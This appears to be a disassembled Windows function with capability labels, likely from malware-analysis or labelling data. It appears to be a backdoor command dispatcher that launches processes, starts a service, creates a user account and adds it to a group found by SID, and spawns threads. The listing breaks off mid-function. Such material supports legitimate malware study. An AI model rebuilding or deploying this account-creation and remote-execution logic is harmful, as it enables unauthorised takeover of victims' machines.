Function at 0x40f5e0
Capabilities:
Add user account
Add user account to group
Create a process with modified i/o handles and window
Create process on windows
Create thread
Read file on windows
Start service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x6cc
mov eax, dword [0x42a004]
xor eax, esp
mov dword [esp + 0x6c8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x100
xor eax, eax
lea ecx, [esp + 0x1d4]
push ecx
push eax
push eax
push edi
lea ebx, [esp + 0x20]
mov dword [esp + 0x28], edi
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call fcn.00403a50
add esp, 0x14
test al, al
je 0x40f638
cmp byte [esp + 0x1d0], 0x22
jne 0x40f660
push 0x100
lea edx, [esp + 0x1d4]
push edx
push 0x22
push 0x22
push edi
lea ebx, [esp + 0x24]
call fcn.00403a50
mov esi, dword [esp + 0x24]
add esp, 0x14
mov dword [esp + 0xc], esi
jmp 0x40f664
mov esi, dword [esp + 0xc]
push 0xea
call fcn.00404a40
mov eax, dword [0x42c160]
mov ecx, dword [eax + 0x3a8]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40f6a3
test dl, dl
je 0x40f69f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40f6a3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40f683
xor eax, eax
jmp 0x40f6a8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40f6b3
push 1
call fcn.00407970
push 0xeb
call fcn.00404a40
mov ecx, dword [0x42c160]
mov ecx, dword [ecx + 0x3ac]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40f6f3
test dl, dl
je 0x40f6ef
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40f6f3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40f6d3
xor eax, eax
jmp 0x40f6f8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40f76d
push 0x104
lea edx, [esp + 0xcc]
push edx
push eax
push eax
push edi
lea ebx, [esp + 0x20]
mov dword [esp + 0x24], esi
call fcn.00403a50
add esp, 0x14
test al, al
je 0x40f72a
cmp byte [esp + 0xc8], 0x22
jne 0x40f748
push 0x104
lea eax, [esp + 0xcc]
push eax
push 0x22
push 0x22
push edi
lea ebx, [esp + 0x24]
call fcn.00403a50
add esp, 0x14
lea ecx, [esp + 0xc8]
push ecx
call fcn.0040efc0
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xec
call fcn.00404a40
mov edx, dword [0x42c160]
mov ecx, dword [edx + 0x3b0]
add esp, 4
lea eax, [esp + 0x1d0]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40f7b0
test dl, dl
je 0x40f7ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40f7b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40f790
xor eax, eax
jmp 0x40f7b5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40f828
push 0x104
lea eax, [esp + 0xcc]
push eax
push 0
push 0
push edi
lea ebx, [esp + 0x20]
mov dword [esp + 0x24], esi
call fcn.00403a50
add esp, 0x14
test al, al
je 0x40f7e9
cmp byte [esp + 0xc8], 0x22
jne 0x40f807
push 0x104
lea ecx, [esp + 0xcc]
push ecx
push 0x22
push 0x22
push edi
lea ebx, [esp + 0x24]
call fcn.00403a50
add esp, 0x14
lea ecx, [esp + 0xc8]
call fcn.0040f1d0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xed
call fcn.00404a40
mov edx, dword [0x42c160]
mov ecx, dword [edx + 0x3b4]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40f868
test dl, dl
je 0x40f864
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40f868
add eax, 2
add ecx, 2
test dl, dl
jne 0x40f848
xor eax, eax
jmp 0x40f86d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40f88b
call fcn.0040f560
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xee
call fcn.00404a40
mov eax, dword [0x42c160]
mov ecx, dword [eax + 0x3b8]
add esp, 4
lea eax, [esp + 0x1d0]
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40f8d0
test dl, dl
je 0x40f8cc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40f8d0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40f8b0
xor eax, eax
jmp 0x40f8d5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40f8f3
call fcn.0040f5a0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xef
call fcn.00404a40
mov ecx, dword [0x42c160]
mov ecx, dword [ecx + 0x3bc]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40f933
test dl, dl
je 0x40f92f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40f933
add eax, 2
add ecx, 2
test dl, dl
jne 0x40f913
xor eax, eax
jmp 0x40f938
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40fb31
push 0x100
push edi
lea edi, [esp + 0xd0]
lea esi, [esp + 0x14]
call fcn.00403b30
add esp, 8
call fcn.0040a740
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40f961
sub eax, edx
mov edx, eax
lea eax, [esp + 0xc8]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40f976
sub eax, esi
lea edi, [eax + edx + 0x8b]
push edi
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x40f986
lea edx, [esp + 0x70]
push edx
lea eax, [esp + 0xcc]
push eax
call fcn.00413804
add esp, 8
test eax, eax
jne 0x40fad1
lea eax, [esp + 0xc8]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40f9c0
sub eax, edx
lea esi, [eax + 1]
lea esp, [esp]
push esi
call fcn.00413e95
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
je 0x40f9d0
push esi
call fcn.00413e95
mov edi, eax
add esp, 4
test edi, edi
je 0x40f9e1
mov esi, dword [esp + 0x10]
push edi
push esi
push 0
lea ecx, [esp + 0xd4]
push 0
push ecx
call fcn.0041535c
mov eax, esi
add esp, 0x14
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40fa10
mov ecx, edi
sub eax, edx
lea esi, [ecx + 1]
mov edi, edi
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x40fa20
sub ecx, esi
lea ebx, [ecx + eax + 8]
lea ecx, [ecx]
push ebx
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x40fa30
mov ebx, dword [esp + 0x10]
push edi
push ebx
push 0x425770
push esi
call fcn.00413fd6
push esi
lea eax, [esp + 0xdc]
call fcn.00406570
add esp, 0x14
push esi
call fcn.00413e5b
add esp, 4
push ebx
call fcn.00413e5b
add esp, 4
push edi
call fcn.00413e5b
add esp, 4
jmp 0x40fa80
push 0xe
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x40fa80
push 0xfe
call fcn.00404a40
mov edx, dword [0x42c160]
mov eax, dword [edx + 0x3f8]
mov edx, esi
add esp, 4
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40fab0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push esi
call fcn.00413e5b
add esp, 4
lea ebx, [ebx]
push 0xf
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x40fae0
push 0xff
call fcn.00404a40
mov eax, dword [0x42c160]
mov eax, dword [eax + 0x3fc]
mov edx, esi
add esp, 4
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40fb10
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xf0
call fcn.00404a40
mov ecx, dword [0x42c160]
mov ecx, dword [ecx + 0x3c0]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40fb71
test dl, dl
je 0x40fb6d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40fb71
add eax, 2
add ecx, 2
test dl, dl
jne 0x40fb51
xor eax, eax
jmp 0x40fb76
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40fc91
push 0x100
push edi
lea edi, [esp + 0xd0]
lea esi, [esp + 0x14]
call fcn.00403b30
mov ebx, dword [esp + 0x1c]
push 0x100
push ebx
lea edi, [esp + 0x3e0]
call fcn.00403b30
push 0x100
push ebx
lea edi, [esp + 0x1e8]
call fcn.00403b30
push 0x13c
call fcn.00404a40
mov edx, dword [0x42c160]
mov ecx, dword [edx + 0x4f0]
add esp, 0x1c
mov eax, edi
push eax
lea edx, [esp + 0x3d4]
push edx
lea edx, [esp + 0xd0]
call fcn.00401fb0
add esp, 8
test al, al
je 0x40fc41
push 0x10
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x40fbf3
push 0x100
call fcn.00404a40
mov eax, dword [0x42c160]
mov eax, dword [eax + 0x400]
mov edx, esi
add esp, 4
sub edx, eax
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40fc20
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0x10
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x40fc41
push 0x101
call fcn.00404a40
mov ecx, dword [0x42c160]
mov eax, dword [ecx + 0x404]
mov edx, esi
add esp, 4
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40fc70
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xf1
call fcn.00404a40
mov edx, dword [0x42c160]
mov ecx, dword [edx + 0x3c4]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40fcd1
test dl, dl
je 0x40fccd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40fcd1
add eax, 2
add ecx, 2
test dl, dl
jne 0x40fcb1
xor eax, eax
jmp 0x40fcd6
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40fdf1
push 0x100
push edi
lea edi, [esp + 0xd0]
lea esi, [esp + 0x14]
call fcn.00403b30
push 0x44
lea eax, [esp + 0x34]
push 0
push eax
call fcn.00417250
add esp, 0x14
xor eax, eax
lea ecx, [esp + 0xb8]
push ecx
lea edx, [esp + 0x2c]
push edx
push eax
push eax
push 0x100
push eax
push eax
push eax
mov dword [esp + 0xd8], eax
mov dword [esp + 0xdc], eax
mov dword [esp + 0xe0], eax
mov dword [esp + 0xe4], eax
mov eax, edi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40fda1
lea esp, [esp]
push 3
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x40fd50
push 0xfc
call fcn.00404a40
mov ecx, dword [0x42c160]
mov eax, dword [ecx + 0x3f0]
mov edx, esi
add esp, 4
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40fd80
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0x18
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x40fda1
push 0x102
call fcn.00404a40
mov edx, dword [0x42c160]
mov eax, dword [edx + 0x408]
mov edx, esi
add esp, 4
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40fdd0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xf2
call fcn.00404a40
mov eax, dword [0x42c160]
mov ecx, dword [eax + 0x3c8]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40fe30
test dl, dl
je 0x40fe2c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40fe30
add eax, 2
add ecx, 2
test dl, dl
jne 0x40fe10
xor eax, eax
jmp 0x40fe35
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40ff71
lea ecx, [ecx]
push 0x18
call fcn.00413e95
add esp, 4
test eax, eax
je 0x40fe40
push 0x100
push edi
lea edi, [esp + 0xd0]
lea esi, [esp + 0x14]
call fcn.00403b30
push 0x44
lea ecx, [esp + 0x7c]
push 0
push ecx
call fcn.00417250
add esp, 0x14
xor eax, eax
xor edx, edx
mov dword [esp + 0xb8], eax
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], eax
lea eax, [esp + 0xb8]
push eax
lea ecx, [esp + 0x74]
push ecx
push edx
push edx
push 0x100
push edx
push edx
push edx
mov word [esp + 0xc0], dx
mov edx, edi
push edx
push 0
mov dword [esp + 0xc4], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40ff21
mov edi, edi
push 3
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x40fed0
push 0xfc
call fcn.00404a40
mov eax, dword [0x42c160]
mov eax, dword [eax + 0x3f0]
mov edx, esi
add esp, 4
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40ff00
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0x18
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x40ff21
push 0x102
call fcn.00404a40
mov ecx, dword [0x42c160]
mov eax, dword [ecx + 0x408]
mov edx, esi
add esp, 4
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40ff50
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xf3
call fcn.00404a40
mov edx, dword [0x42c160]
mov ecx, dword [edx + 0x3cc]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ffb1
test dl, dl
je 0x40ffad
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ffb1
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ff91
xor eax, eax
jmp 0x40ffb6
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x410091
push 0x108
call fcn.00404a40
mov eax, dword [0x42c160]
mov esi, dword [eax + 0x420]
add esp, 4
push 0x44
lea ecx, [esp + 0x74]
push 0
push ecx
call fcn.00417250
add esp, 0xc
xor eax, eax
xor edx, edx
mov dword [esp + 0xb8], eax
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], eax
lea eax, [esp + 0xb8]
push eax
lea ecx, [esp + 0x74]
push ecx
push edx
push edx
push 0x100
push edx
push edx
push edx
push esi
push edx
mov dword [esp + 0xc4], 1
mov word [esp + 0xc8], dx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea esp, [esp]
push 0x23
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x410040
push 0x103
call fcn.00404a40
mov edx, dword [0x42c160]
mov eax, dword [edx + 0x40c]
mov edx, esi
add esp, 4
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x410070
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xf4
call fcn.00404a40
mov eax, dword [0x42c160]
mov ecx, dword [eax + 0x3d0]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4100d0
test dl, dl
je 0x4100cc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4100d0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4100b0
xor eax, eax
jmp 0x4100d5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x410172
push 0x100
push edi
lea edi, [esp + 0x3d8]
lea esi, [esp + 0x14]
call fcn.00403b30
mov ecx, dword [esp + 0x1c]
push 0x100
push ecx
lea edi, [esp + 0xd8]
call fcn.00403b30
add esp, 0x10
push 0x1040
mov edx, edi
push edx
lea eax, [esp + 0x3d8]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x19
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x410124
push 0x104
call fcn.00404a40
mov ecx, dword [0x42c160]
mov eax, dword [ecx + 0x410]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x410151
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xf5
call fcn.00404a40
mov edx, dword [0x42c160]
mov ecx, dword [edx + 0x3d4]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4101b2
test dl, dl
je 0x4101ae
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4101b2
add eax, 2
add ecx, 2
test dl, dl
jne 0x410192
xor eax, eax
jmp 0x4101b7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x410511
push 0x100
push edi
lea edi, [esp + 0xd0]
lea esi, [esp + 0x14]
call fcn.00403b30
mov eax, dword [esp + 0x1c]
push 0x100
push eax
lea edi, [esp + 0x3e0]
call fcn.00403b30
lea ecx, [esp + 0xd8]
push ecx
call fcn.004036e0
mov edx, edi
add esp, 0x14
mov ebx, eax
push edx
mov dword [esp + 0x10], ebx
call fcn.004036e0
add esp, 4
xor edi, edi
push 0x10b
mov dword [esp + 0x20], eax
mov dword [esp + 0x18], edi
call fcn.00404a40
mov eax, dword [0x42c160]
mov esi, dword [eax + 0x42c]
add esp, 4
push 0x109
call fcn.00404a40
mov edx, dword [0x42c160]
add esp, 4
push 4
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [edx + 0x424]
push esi
push 4
mov edx, connect
call fcn.00403680
push 0x10c
mov dword [esp + 0x28], 1
call fcn.00404a40
mov eax, dword [0x42c160]
mov esi, dword [eax + 0x430]
add esp, 0x14
push 0x109
call fcn.00404a40
mov edx, dword [0x42c160]
add esp, 4
push 4
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [edx + 0x424]
push esi
push 4
mov edx, connect
call fcn.00403680
push 0x10d
mov dword [esp + 0x28], edi
call fcn.00404a40
mov eax, dword [0x42c160]
mov esi, dword [eax + 0x434]
add esp, 0x14
push 0x10a
call fcn.00404a40
mov edx, dword [0x42c160]
add esp, 4
push 4
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [edx + 0x428]
push esi
push 4
mov edx, connect
call fcn.00403680
add esp, 0x10
push 2
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
cmp esi, edi
je 0x410347
push 0x10e
call fcn.00404a40
mov eax, dword [0x42c160]
mov eax, dword [eax + 0x438]
add esp, 4
push 0x10
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
cmp ebx, edi
je 0x41033c
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, dword [esp + 0xc]
push 0x10f
call fcn.00404a40
mov ecx, dword [0x42c160]
mov esi, dword [ecx + 0x43c]
add esp, 4
push 0x44
lea edx, [esp + 0x2c]
push edi
push edx
call fcn.00417250
add esp, 0xc
lea ecx, [esp + 0xb8]
push ecx
lea edx, [esp + 0x2c]
push edx
push edi
push edi
push 0x100
push edi
push edi
xor eax, eax
push edi
push esi
push edi
mov dword [esp + 0xe0], eax
mov dword [esp + 0xe4], eax
mov dword [esp + 0xe8], eax
mov dword [esp + 0xec], eax
mov dword [esp + 0x7c], 1
mov word [esp + 0x80], ax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4103d1
mov eax, dword [esp + 0xb8]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [esp + 0x1c]
lea ecx, [esp + 0x24]
push ecx
mov eax, 1
lea edx, [esp + 0x74]
push edx
push eax
push edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], esi
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], edi
mov dword [esp + 0x94], edi
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], edi
call dword [sym.imp.NETAPI32.dll_NetUserAdd]
push 0x110
mov dword [esp + 0x14], edi
call fcn.00404a40
mov eax, dword [0x42c160]
mov eax, dword [eax + 0x440]
add esp, 4
lea ecx, [esp + 0x10]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidA]
test eax, eax
je 0x4104a8
mov eax, 0x100
mov dword [esp + 0xc], eax
mov dword [esp + 0x1c], eax
lea edx, [esp + 0xb8]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x4d8]
push ecx
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x1e0]
push eax
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
test eax, eax
je 0x4104a8
push 1
lea edx, [esp + 0x24]
push edx
push 3
lea eax, [esp + 0x1dc]
push eax
push edi
mov dword [esp + 0x34], ebx
call dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
cmp ebx, edi
je 0x4104b5
push ebx
call fcn.00413e5b
add esp, 4
cmp esi, edi
je 0x4104c2
push esi
call fcn.00413e5b
add esp, 4
push 0x27
call fcn.00413e95
mov ebx, eax
add esp, 4
cmp ebx, edi
je 0x4104c2
push 0x105
call fcn.00404a40
mov ecx, dword [0x42c160]
mov eax, dword [ecx + 0x414]
mov edx, ebx
add esp, 4
sub edx, eax
nop
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x4104f0
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xf6
call fcn.00404a40
mov edx, dword [0x42c160]
mov ecx, dword [edx + 0x3d8]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410551
test dl, dl
je 0x41054d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410551
add eax, 2
add ecx, 2
test dl, dl
jne 0x410531
xor eax, eax
jmp 0x410556
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x410611
mov edi, edi
push 0x100
call fcn.00413e95
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x410560
push 0x100
push edi
mov edi, ebx
lea esi, [esp + 0x14]
call fcn.00403b30
mov eax, dword [esp + 0x1c]
push 8
push eax
lea edi, [esp + 0xc8]
call fcn.00403b30
mov ecx, edi
push ecx
mov dword [0x42bec4], ebx
call fcn.00414dd2
add esp, 0x14
push 0
push 0
push 0
push 0x40ec40
push 0
push 0
mov dword [0x42c7b8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1b
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x4105c2
push 0x106
call fcn.00404a40
mov edx, dword [0x42c160]
mov eax, dword [edx + 0x418]
mov edx, esi
add esp, 4
sub edx, eax
nop
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x4105f0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xf7
call fcn.00404a40
mov eax, dword [0x42c160]
mov ecx, dword [eax + 0x3dc]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410650
test dl, dl
je 0x41064c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410650
add eax, 2
add ecx, 2
test dl, dl
jne 0x410630
xor eax, eax
jmp 0x410655
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4106d6
lea esp, [esp]
push 4
call fcn.00413e95
add esp, 4
test eax, eax
je 0x410660
push 0
push 0
push eax
push 0x40b270
push 0
push 0
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x410688
push 0xfc
call fcn.00404a40
mov ecx, dword [0x42c160]
mov eax, dword [ecx + 0x3f0]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x4106b5
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xf8
call fcn.00404a40
mov edx, dword [0x42c160]
mov ecx, dword [edx + 0x3e0]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410716
test dl, dl
je 0x410712
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410716
add eax, 2
add ecx, 2
test dl, dl
jne 0x4106f6
xor eax, eax
jmp 0x41071b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x410795
nop
push 4
call fcn.00413e95
add esp, 4
test eax, eax
je 0x410720
push 0
push 0
push eax
push 0x40dd30
push 0
push 0
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x410748
push 0xfc
call fcn.00404a40
mov eax, dword [0x42c160]
mov eax, dword [eax + 0x3f0]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x410774
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xf9
call fcn.00404a40
mov ecx, dword [0x42c160]
mov ecx, dword [ecx + 0x3e4]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4107d5
test dl, dl
je 0x4107d1
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4107d5
add eax, 2
add ecx, 2
test dl, dl
jne 0x4107b5
xor eax, eax
jmp 0x4107da
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x410856
mov edi, edi
push 4
call fcn.00413e95
add esp, 4
test eax, eax
je 0x4107e0
push 0
push 0
push eax
push 0x40e3f0
push 0
push 0
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00413e95
mov esi, eax
add esp, 4
test esi, esi
je 0x410808
push 0xfc
call fcn.00404a40
mov edx, dword [0x42c160]
mov eax, dword [edx + 0x3f0]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x410835
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00412e08
mov esp, ebp
pop ebp
ret
push 0xfa
call fcn.00404a40
mov eax, dword [0x42c160]
mov ecx, dword [eax + 0x3e8]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410895
test dl, dl
je 0x410891
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410895
add eax, 2
add ecx, 2
test dl, dl
jne 0x410875
xor eax, eax
jmp 0x41089a
sbb eax, eax
sbb eax, 0xffffffff
